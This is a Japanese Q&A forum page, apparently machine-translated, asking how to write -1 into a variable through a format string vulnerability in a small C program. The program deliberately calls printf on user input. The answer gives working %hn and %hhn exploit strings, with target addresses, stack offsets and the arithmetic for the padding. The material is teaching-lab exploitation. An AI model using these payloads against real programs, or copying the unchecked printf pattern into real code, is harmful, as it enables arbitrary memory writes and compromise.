2017-10-14 7 views
0

Format String exploitを使用して変数の値を設定しようとしています。私は修飾子%nを使って文字列の長さの値で変数を変更することができました。私は、例えば、負の値に変数セットを変更するにはどうすればよい文字列形式のエクスプロイト:負の値を設定= "-1"%nを使用

./v4_2.out `printf "\xc4\x98\x04\x08"`%08x%08x%08x%08x%08x%08x%n 

address a = 0x080498c4, [0x00000034] 
a = 52 

コード

#include <stdio.h> 
#include <stdlib.h> 
int main(int argc, char *argv[]){ 
    char buffer[100]; 
    static int a=77; 
    strcpy(buffer, argv[1]); 
    printf(buffer); 
    printf("address a = 0x%08x, [0x%08x]\n", &a, a); 
    printf("a = %d\n", a); 
return 0; 
} 

"= -1"?

P.S.これは%uで行うことができます。

+0

ようこそ。あなたは非常に不明で、達成したいことがあります。あなたのタイトルは間違ったフォーマット指定子(%u対-1)の使用に関するものです。あなたの質問は、値を変更するためのいくつかの悪用を言及しています。書式指定子は印刷出力を変更することがありますが、変数の値は変更しません。 – Gerhardh

答えて

0

linked articleの最初のセクションの最後に記載されているトリックを使用してください。これは、下位および上位語(2回0xFFFF)に(0xFFFFFFFFF)-1の値を分割し、アドレス&a(void*)(&a)+2に別々にこれらを書き込むことを含む:

./v4_2.out `printf "\xc4\x98\x04\x08\xc6\x98\x04\x08"`%65527x%7\$hn%8\$hn" 

を説明:

\xc4\x98\x04\x08 ... 0x080498c4, the address of a (lower two bytes) 
\xc6\x98\x04\x08 ... 0x080498c6, the address of a (upper two bytes) 
%65527x ... write 65527 extra bytes of garbage (eight have been written by now, so that makes 65535) 
%7\$hn ... write the number of characters so far (65535 = 0xFFFF) to lower word of a 
%8\$hn ... write the number of characters so far (65535 = 0xFFFF, it didn't change) to upper word of a 

を数7が来ますあなたの前のコマンド:

printf "\xc4\x98\x04\x08"`%08x%08x%08x%08x%08x%08x%n 
          1^ 2^ 3^ 4^ 5^ 6^7^ 

と私はスタックされているので、 t位置8.

これはまだ多くの出力を行います。さらに1ステップ進んで、0xFFFFFFFFバイトごとに書き込むことができます。それは次のようになります。0xFFFFFFFF以外

\xc4\x98\x04\x08 ... 0x080498c4, the first (low) byte of a 
\xc5\x98\x04\x08 ... 0x080498c5, the second byte of a 
\xc6\x98\x04\x08 ... 0x080498c6, the third byte of a 
\xc7\x98\x04\x08 ... 0x080498c7, the fourth (high) byte of a 
%239x ... write 239 extra bytes of garbage (16 have been written by now, so that makes 255) 
%7\$hhn ... write the number of characters so far, as a byte (255 = 0xFF) to the first address above 
%8\$hhn ... the same for the second 
%9\$hhn ... the same for the third 
%10\$hhn ... the same for the last 

数字は各%hhnの間にいくつかの余分な出力を必要としています。それぞれの違いを補うために出力するガベージバイト数を計算する必要があります。前の値より下に移動する必要がある場合は、バイトだけが書き込まれるため、算術演算は256になります。

関連する問題